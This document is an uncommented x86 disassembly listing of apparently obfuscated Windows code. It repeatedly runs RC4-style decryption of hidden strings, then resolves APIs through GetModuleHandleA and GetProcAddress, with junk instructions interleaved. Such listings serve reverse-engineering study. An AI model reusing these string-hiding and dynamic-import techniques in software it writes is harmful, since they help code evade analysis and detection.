mov edx, dword [ebp - 0x30]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x1c]
mov byte [ebp - 0x10], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x40fab5
mov byte [ebp + esi - 0x2b9], dl
mov edx, dword [ebp - 0x48]
dec edx
mov dword [ebp - 0x48], edx
jne 0x40f99e
mov edi, dword [ebp - 0x38]
inc esi
xor edx, edx
mov bl, byte [edi + esi*2]
mov dl, byte [edi + esi*2 + 1]
add bl, 0xa
add dl, 0x31
shl bl, 4
or bl, dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov byte [ebp - 0x1c], bl
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x30]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x1c]
mov byte [ebp - 0x10], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x40fbe1
mov byte [ebp + esi - 0x2b9], dl
mov edi, dword [ebp - 0x38]
inc esi
xor edx, edx
xor ebx, ebx
mov dl, byte [edi + esi*2]
mov bl, byte [edi + esi*2 + 1]
add dl, 0xa
add bl, 0x31
shl dl, 4
or dl, bl
mov byte [ebp - 0x1c], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x30]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x1c]
mov byte [ebp - 0x10], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x40fcf7
mov byte [ebp + esi - 0x2b9], dl
mov edx, dword [ebp - 0x38]
inc esi
mov bl, byte [edx + esi*2 + 1]
lea edi, [edx + esi*2]
add bl, 0x31
mov dl, byte [edi]
add dl, 0xa
shl dl, 4
or dl, bl
mov byte [ebp - 0x1c], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x30]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x1c]
mov byte [ebp - 0x10], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x40fe0b
mov byte [ebp + esi - 0x2b9], dl
lea ebx, [esi + 1]
cmp ebx, 0x13
jge 0x40ff50
mov edx, dword [ebp - 0x38]
lea edi, [edx + esi*2]
mov edx, 0x13
sub edx, ebx
mov dword [ebp - 0x40], edx
jmp 0x40fe2c
mov edi, dword [ebp - 0x48]
add edi, 2
xor edx, edx
xor ebx, ebx
mov dword [ebp - 0x48], edi
mov dl, byte [edi]
mov bl, byte [edi + 1]
add dl, 0xa
add bl, 0x31
shl dl, 4
or dl, bl
inc esi
mov byte [ebp - 0x1c], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 0x14]
mov bl, byte [edx]
mov dl, byte [ebp - 4]
add al, bl
inc dl
mov byte [ebp - 8], al
mov byte [ebp - 4], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 0x18]
and ebx, 0xff
mov dword [ebp - 0x2c], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x20], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov edx, dword [ebp - 4]
mov ebx, dword [ebp - 0x20]
and edx, 0xff
lea edx, [ebp + edx - 0x3b8]
mov dword [ebp - 0x14], edx
mov dl, byte [edx]
mov byte [ebx], dl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
mov edx, dword [ebp - 0xc]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [edi]
mov edi, dword [ebp - 0x20]
mov byte [ebp - 0x24], cl
mov edx, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x2c]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x30]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x1c]
mov byte [ebp - 0x10], bl
xor dl, bl
test esi, esi
mov byte [ebp - 0x18], dl
jbe 0x40ff43
mov byte [ebp + esi - 0x2b9], dl
mov edx, dword [ebp - 0x40]
dec edx
mov dword [ebp - 0x40], edx
jne 0x40fe29
mov edx, dword [ebp - 0x1c]
inc esi
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0xc], dl
mov edx, dword [ebp - 4]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
add al, bl
mov bl, byte [ebp - 4]
mov byte [ebp - 8], al
mov eax, dword [ebp - 8]
and eax, 0xff
inc bl
mov byte [ebp - 4], bl
mov dl, byte [ebp + eax - 0x3b8]
lea eax, [ebp + eax - 0x3b8]
mov byte [edi], dl
mov edx, dword [ebp - 0x18]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [eax], bl
mov ebx, dword [ebp - 4]
and ebx, 0xff
mov dword [ebp - 0x20], edx
test esi, esi
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x14], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov ebx, dword [ebp - 0x14]
mov dl, byte [ebp - 0xc]
mov byte [ebx], dl
jbe 0x410058
mov edx, dword [ebp - 0xc]
mov al, byte [eax]
and edx, 0xff
mov dword [ebp - 0x30], edx
mov edx, dword [ebp - 0x38]
mov bl, byte [edx + esi*2]
mov dl, byte [edx + esi*2 + 1]
sub bl, 6
add dl, 0x31
shl bl, 4
or bl, dl
mov edx, dword [ebp - 0x30]
mov dl, byte [ebp + edx - 0x3b8]
add dl, cl
and edx, 0xff
mov cl, byte [ebp + edx - 0x3b8]
mov dl, byte [edi]
add ecx, edx
mov edx, dword [ebp - 0x20]
mov edi, dword [ebp - 0x30]
mov dl, byte [edx]
add eax, edi
add ecx, edx
xor edx, edx
and ecx, 0xff
and eax, 0xff
mov dl, byte [ebp + ecx - 0x3b8]
mov cl, byte [ebp + edx - 0x3b8]
xor bl, cl
mov cl, byte [ebp + eax - 0x3b8]
xor bl, cl
mov byte [ebp + esi - 0x2b9], bl
mov byte [ebp - 0x2a6], 0
mov edx, dword [ebp - 0x1d8]
lea ecx, [ebp - 0x2b8]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
fld qword [0x89a578]
fld qword [0x89a578]
mov dword [0x8de90c], eax
fld st(0)
fmul st(1)
fld st(0)
fmul qword [0x8a8cb0]
fsub st(1)
fxch st(1)
fmul qword [0x8a8ca8]
fadd qword [0x8a8ca0]
fdivp st(1)
faddp st(2)
fld st(1)
fcomp qword [0x8a8c98]
fnstsw ax
test ah, 0x41
jne 0x4100bd
fld st(0)
fmul qword [0x8a8c90]
fsubp st(2)
fadd qword [0x8a1410]
fcom qword [0x8a8c88]
fnstsw ax
test ah, 1
jne 0x410084
fxch st(1)
fst qword [ebp - 0x34]
fxch st(1)
fstp st(0)
fcomp qword [0x89a578]
fnstsw ax
test ah, 1
je 0x410125
sbb al, 0xfb
sbb ch, bh
sbb esi, esp
adc eax, 0x19ec1cf2
out dx, al
pop ss
stc
sbb ch, dh
sbb ecx, esi
adc eax, esi
sbb ebp, edi
sbb al, 0xf6
adc al, 0xef
sub esp, dword [esi]
and al, 0x45
cmp eax, 0x7959303e
push esi
sub word [edx + 0x5c], ax
and esi, dword [edx]
sub bl, byte [ebp + ebp*2 + 0x67]
imul esp, dword [ebx], 0x61406976
imul ebp, dword [ebx], 0x3d
cmp esi, dword [esi + 0x41]
jmp 0x410863
mov dword [ebp - 0x48], 0x4100e6
mov dword [ebp - 8], 0x410100
xor eax, eax
mov byte [ebp + eax - 0x3b8], al
inc eax
cmp eax, 0x100
jb 0x410135
fld qword [ebp - 0x34]
mov byte [ebp - 0x38], 0
mov esi, dword [ebp - 0x38]
xor edi, edi
mov dword [ebp - 0x40], 0xff
mov eax, dword [ebp - 0x40]
mov ebx, 1
cmp eax, ebx
mov dword [ebp - 0x30], 0
jbe 0x410172
lea ebx, [ebx + ebx + 1]
cmp ebx, eax
jb 0x41016a
cmp edi, 3
ja case.default.0x410177
jmp dword [edi*4 + 0x42ce3c]
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
add cl, al
jmp 0x4101fd
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
shr eax, 8
add cl, al
jmp 0x4101fd
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
shr eax, 0x10
add cl, al
jmp 0x4101fd
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
shr eax, 0x18
add cl, al
jmp 0x4101fd
mov eax, dword [ebp - 8]
and esi, 0xff
mov cl, byte [ebp + esi - 0x3b8]
mov dl, byte [eax + edi - 4]
add cl, dl
inc edi
mov byte [ebp - 0x38], cl
cmp edi, 0x24
jb 0x41020e
xor edi, edi
add cl, 0x24
mov byte [ebp - 0x38], cl
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
mov edx, esi
and edx, 0xff
and edx, ebx
inc eax
cmp eax, 0xb
mov dword [ebp - 0x30], eax
jbe 0x41022e
mov eax, edx
xor edx, edx
div dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
cmp eax, edx
jb 0x410172
je 0x41026d
mov ecx, eax
mov al, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov bl, byte [ebp + ecx - 0x3b8]
lea ecx, [ebp + ecx - 0x3b8]
xor bl, al
mov byte [ecx], bl
mov al, bl
mov bl, byte [edx]
xor bl, al
mov byte [edx], bl
mov al, byte [ecx]
mov dl, bl
xor al, dl
mov byte [ecx], al
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
jne 0x410157
mov dl, byte [ebp - 0x3b1]
mov cl, byte [ebp - 0x3b3]
mov byte [ebp - 0x40], dl
mov edx, dword [ebp - 0x48]
mov byte [ebp - 0x30], cl
xor ecx, ecx
mov cl, byte [edx]
mov dl, byte [edx + 1]
and esi, 0xff
add cl, 3
add dl, 0x14
mov bl, byte [ebp - 0x3b5]
mov al, byte [ebp + esi - 0x3b8]
shl cl, 4
mov byte [ebp - 0x10], al
or dl, cl
mov ecx, dword [ebp - 0x10]
mov byte [ebp - 0x25], dl
and ecx, 0xff
xor eax, eax
fstp st(0)
mov dl, byte [ebp + ecx - 0x3b8]
lea edi, [ebp + ecx - 0x3b8]
mov byte [ebp - 0x18], dl
mov edx, dword [ebp - 0x3b7]
mov ecx, edx
and ecx, 0xff
mov cl, byte [ebp + ecx - 0x3b8]
add cl, bl
inc dl
mov byte [ebp - 0x1c], cl
mov byte [ebp - 8], dl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
lea esi, [ebp + edx - 0x3b8]
mov dword [ebp - 0x38], esi
mov dl, byte [esi]
mov byte [edi], dl
mov edx, dword [ebp - 0x40]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [esi], bl
mov esi, dword [ebp - 8]
and esi, 0xff
mov dword [ebp - 0x24], edx
mov bl, byte [ebp + esi - 0x3b8]
lea esi, [ebp + esi - 0x3b8]
mov byte [edx], bl
mov dl, byte [ebp - 0x18]
mov bl, byte [ebp - 0x30]
mov byte [esi], dl
mov edx, dword [ebp - 0x18]
and edx, 0xff
mov dword [ebp - 0x14], edx
mov dl, byte [ebp + edx - 0x3b8]
add bl, dl
mov byte [ebp - 0x30], bl
mov edx, dword [ebp - 0x30]
mov bl, byte [edi]
mov edi, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
mov edi, dword [ebp - 0x14]
and edx, 0xff
xor ebx, ebx
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x38]
mov dl, byte [edx]
mov bl, byte [ebp + ebx - 0x3b8]
add edx, edi
mov edi, dword [ebp - 0x48]
and edx, 0xff
xor bl, byte [ebp + edx - 0x3b8]
mov dl, byte [ebp - 0x25]
mov byte [ebp - 0x10], dl
xor bl, dl
mov byte [ebp - 0x40], bl
mov dword [ebp - 4], 5
jmp 0x4103c5
mov edi, dword [ebp - 0xc]
mov bl, byte [edi + 3]
add edi, 2
xor edx, edx
add bl, 0x14
mov dl, byte [edi]
mov dword [ebp - 0xc], edi
add dl, 3
inc eax
shl dl, 4
or bl, dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov byte [ebp - 0x25], bl
mov bl, byte [ebp - 8]
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0x18], dl
mov dl, byte [esi]
add cl, dl
inc bl
mov byte [ebp - 0x1c], cl
mov byte [ebp - 8], bl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
lea esi, [ebp + edx - 0x3b8]
mov dword [ebp - 0x38], esi
mov dl, byte [esi]
mov byte [edi], dl
mov edx, dword [ebp - 0x40]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [esi], bl
mov esi, dword [ebp - 8]
and esi, 0xff
mov dword [ebp - 0x24], edx
mov bl, byte [ebp + esi - 0x3b8]
lea esi, [ebp + esi - 0x3b8]
mov byte [edx], bl
mov dl, byte [ebp - 0x18]
mov bl, byte [ebp - 0x30]
mov byte [esi], dl
mov edx, dword [ebp - 0x18]
and edx, 0xff
mov dword [ebp - 0x14], edx
mov dl, byte [ebp + edx - 0x3b8]
add bl, dl
mov byte [ebp - 0x30], bl
mov edx, dword [ebp - 0x30]
mov bl, byte [edi]
mov edi, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x38]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x14]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x25]
mov byte [ebp - 0x10], bl
xor dl, bl
test eax, eax
mov byte [ebp - 0x40], dl
jbe 0x4104d6
mov byte [ebp + eax - 0x125], dl
mov edx, dword [ebp - 4]
dec edx
mov dword [ebp - 4], edx
jne 0x4103c2
mov esi, dword [ebp - 0x48]
inc eax
xor edx, edx
mov dl, byte [esi + eax*2]
mov bl, byte [esi + eax*2 + 1]
add edx, 0xfffffff3
add bl, 0x14
shl edx, 4
or bl, dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov byte [ebp - 0x25], bl
lea esi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0x18], dl
mov edx, dword [ebp - 8]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
add cl, bl
mov bl, byte [ebp - 8]
mov byte [ebp - 0x1c], cl
inc bl
mov edx, dword [ebp - 0x1c]
mov byte [ebp - 8], bl
and edx, 0xff
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [esi], dl
mov edx, dword [ebp - 0x40]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [edi], bl
mov ebx, dword [ebp - 8]
and ebx, 0xff
mov dword [ebp - 0x24], edx
lea ebx, [ebp + ebx - 0x3b8]
mov dword [ebp - 0x38], ebx
mov bl, byte [ebx]
mov byte [edx], bl
mov ebx, dword [ebp - 0x38]
mov dl, byte [ebp - 0x18]
mov byte [ebx], dl
mov edx, dword [ebp - 0x18]
mov bl, byte [ebp - 0x30]
and edx, 0xff
mov dword [ebp - 0x14], edx
mov dl, byte [ebp + edx - 0x3b8]
add bl, dl
mov byte [ebp - 0x30], bl
mov edx, dword [ebp - 0x30]
mov bl, byte [esi]
mov esi, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [esi]
add edx, ebx
mov esi, dword [ebp - 0x14]
and edx, 0xff
xor ebx, ebx
mov bl, byte [ebp + edx - 0x3b8]
mov edx, ebx
mov bl, byte [edi]
add ebx, esi
mov dl, byte [ebp + edx - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x25]
mov byte [ebp - 0x10], bl
xor dl, bl
test eax, eax
mov byte [ebp - 0x40], dl
jbe 0x410601
mov byte [ebp + eax - 0x125], dl
mov edx, dword [ebp - 0x48]
inc eax
lea edi, [edx + eax*2]
xor edx, edx
mov dword [ebp - 0x48], edi
mov dl, byte [edi]
mov esi, edx
xor edx, edx
mov dl, byte [edi + 1]
sub esi, 0xd
shl esi, 4
sub edx, 0xec
mov ebx, esi
or bl, dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
mov byte [ebp - 0x25], bl
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0x18], dl
mov edx, dword [ebp - 0x38]
mov bl, byte [edx]
add cl, bl
mov bl, byte [ebp - 8]
mov byte [ebp - 0x1c], cl
inc bl
mov edx, dword [ebp - 0x1c]
mov byte [ebp - 8], bl
and edx, 0xff
lea esi, [ebp + edx - 0x3b8]
mov dword [ebp - 0x38], esi
mov dl, byte [esi]
mov byte [edi], dl
mov edx, dword [ebp - 0x40]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [esi], bl
mov esi, dword [ebp - 8]
and esi, 0xff
mov dword [ebp - 0x24], edx
mov bl, byte [ebp + esi - 0x3b8]
lea esi, [ebp + esi - 0x3b8]
mov byte [edx], bl
mov dl, byte [ebp - 0x18]
mov bl, byte [ebp - 0x30]
mov byte [esi], dl
mov edx, dword [ebp - 0x18]
and edx, 0xff
mov dword [ebp - 0x14], edx
mov dl, byte [ebp + edx - 0x3b8]
add bl, dl
mov byte [ebp - 0x30], bl
mov edx, dword [ebp - 0x30]
mov bl, byte [edi]
mov edi, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x38]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x14]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x25]
mov byte [ebp - 0x10], bl
xor dl, bl
test eax, eax
mov byte [ebp - 0x40], dl
jbe 0x410721
mov byte [ebp + eax - 0x125], dl
lea ebx, [eax + 1]
cmp ebx, 0xe
jge 0x41085c
mov edi, dword [ebp - 0x48]
mov edx, 0xe
sub edx, ebx
mov dword [ebp - 0x48], edx
jmp 0x41073f
mov edi, dword [ebp - 4]
mov dl, byte [edi + 2]
mov bl, byte [edi + 3]
add edi, 2
add dl, 3
shl dl, 4
add bl, 0x14
mov dword [ebp - 4], edi
or dl, bl
mov bl, byte [ebp - 8]
mov byte [ebp - 0x25], dl
mov edx, dword [ebp - 0x10]
and edx, 0xff
inc eax
lea edi, [ebp + edx - 0x3b8]
mov dl, byte [ebp + edx - 0x3b8]
mov byte [ebp - 0x18], dl
mov dl, byte [esi]
add cl, dl
inc bl
mov byte [ebp - 0x1c], cl
mov byte [ebp - 8], bl
mov edx, dword [ebp - 0x1c]
and edx, 0xff
lea esi, [ebp + edx - 0x3b8]
mov dword [ebp - 0x38], esi
mov dl, byte [esi]
mov byte [edi], dl
mov edx, dword [ebp - 0x40]
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
lea edx, [ebp + edx - 0x3b8]
mov byte [esi], bl
mov esi, dword [ebp - 8]
and esi, 0xff
mov dword [ebp - 0x24], edx
mov bl, byte [ebp + esi - 0x3b8]
lea esi, [ebp + esi - 0x3b8]
mov byte [edx], bl
mov dl, byte [ebp - 0x18]
mov bl, byte [ebp - 0x30]
mov byte [esi], dl
mov edx, dword [ebp - 0x18]
and edx, 0xff
mov dword [ebp - 0x14], edx
mov dl, byte [ebp + edx - 0x3b8]
add bl, dl
mov byte [ebp - 0x30], bl
mov edx, dword [ebp - 0x30]
mov bl, byte [edi]
mov edi, dword [ebp - 0x24]
and edx, 0xff
mov dl, byte [ebp + edx - 0x3b8]
add edx, ebx
mov bl, byte [edi]
add edx, ebx
xor ebx, ebx
and edx, 0xff
mov bl, byte [ebp + edx - 0x3b8]
mov edx, dword [ebp - 0x38]
mov edi, ebx
mov bl, byte [edx]
mov edx, dword [ebp - 0x14]
add ebx, edx
mov dl, byte [ebp + edi - 0x3b8]
and ebx, 0xff
xor dl, byte [ebp + ebx - 0x3b8]
mov bl, byte [ebp - 0x25]
mov byte [ebp - 0x10], bl
xor dl, bl
test eax, eax
mov byte [ebp - 0x40], dl
jbe 0x41084f
mov byte [ebp + eax - 0x125], dl
mov edx, dword [ebp - 0x48]
dec edx
mov dword [ebp - 0x48], edx
jne 0x41073c
mov byte [ebp - 0x118], 0
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
fld qword [0x89a578]
fld qword [0x89a578]
mov dword [ebp - 0x1d8], eax
fld st(0)
fmul st(1)
fld st(0)
fmul qword [0x8a8c80]
fsub st(1)
fxch st(1)
fmul qword [0x8a8c78]
fadd qword [0x8a8c70]
fdivp st(1)
faddp st(2)
fld st(1)
fcomp qword [0x8a8c68]
fnstsw ax
test ah, 0x41
jne 0x4108bb
fld st(0)
fmul qword [0x8a8c60]
fsubp st(2)
fadd qword [0x89a548]
fcom qword [0x8a8c58]
fnstsw ax
test ah, 1
jne 0x410882
fxch st(1)
fst qword [ebp - 0x34]
fxch st(1)
fstp st(0)
fcomp qword [0x89a578]
fnstsw ax
test ah, 1
je 0x410920
sub dword [esi + 0x67], eax
push esp
inc esi
jno 0x41095c
dec ebp
and dword [0x7079452d], esi
dec esi
push edi
daa
sub byte [ebx + 0x77], dh
dec esi
cmp al, 0x2a
pop edx
in eax, dx
jge 0x4108f6
test edx, edi
cli
sub bh, 0x81
idiv dword [ecx - 6]
xor edx, 0x7e
bnd jp 0x4108fe
jle 0x4108fe
jp 0x4108fe
invalid
jns 0x410901
xor bh, 0x7c
clc
js 0x41090c
jp 0x41090a
jnp 0x41090d
jp 0x410905
inc edi
or al, byte [eax]
add bh, al
inc ebp
mov eax, 0x4108fd
mov dword [ebp - 0x48], 0x4108fd
mov dword [ebp - 8], 0x4108e4
xor eax, eax
mov byte [ebp + eax - 0x3b8], al
inc eax
cmp eax, 0x100
jb 0x410930
fld qword [ebp - 0x34]
mov byte [ebp - 0x38], 0
mov esi, dword [ebp - 0x38]
xor edi, edi
mov dword [ebp - 0x40], 0xff
mov eax, dword [ebp - 0x40]
mov ebx, 1
cmp eax, ebx
mov dword [ebp - 0x30], 0
jbe 0x41096d
lea ebx, [ebx + ebx + 1]
cmp ebx, eax
jb 0x410965
cmp edi, 3
ja case.default.0x410972
jmp dword [edi*4 + 0x42ce4c]
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
jmp 0x4109ee
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
shr eax, 8
jmp 0x4109ee
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
shr eax, 0x10
jmp 0x4109ee
fld st(0)
and esi, 0xff
call fcn.00848444
mov cl, byte [ebp + esi - 0x3b8]
shr eax, 0x18
jmp 0x4109ee
mov edx, dword [ebp - 8]
and esi, 0xff
mov cl, byte [ebp + esi - 0x3b8]
mov al, byte [edx + edi - 4]
add cl, al
inc edi
cmp edi, 0x1d
mov byte [ebp - 0x38], cl
jb 0x410a01
xor edi, edi
add cl, 0x1d
mov byte [ebp - 0x38], cl
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x30]
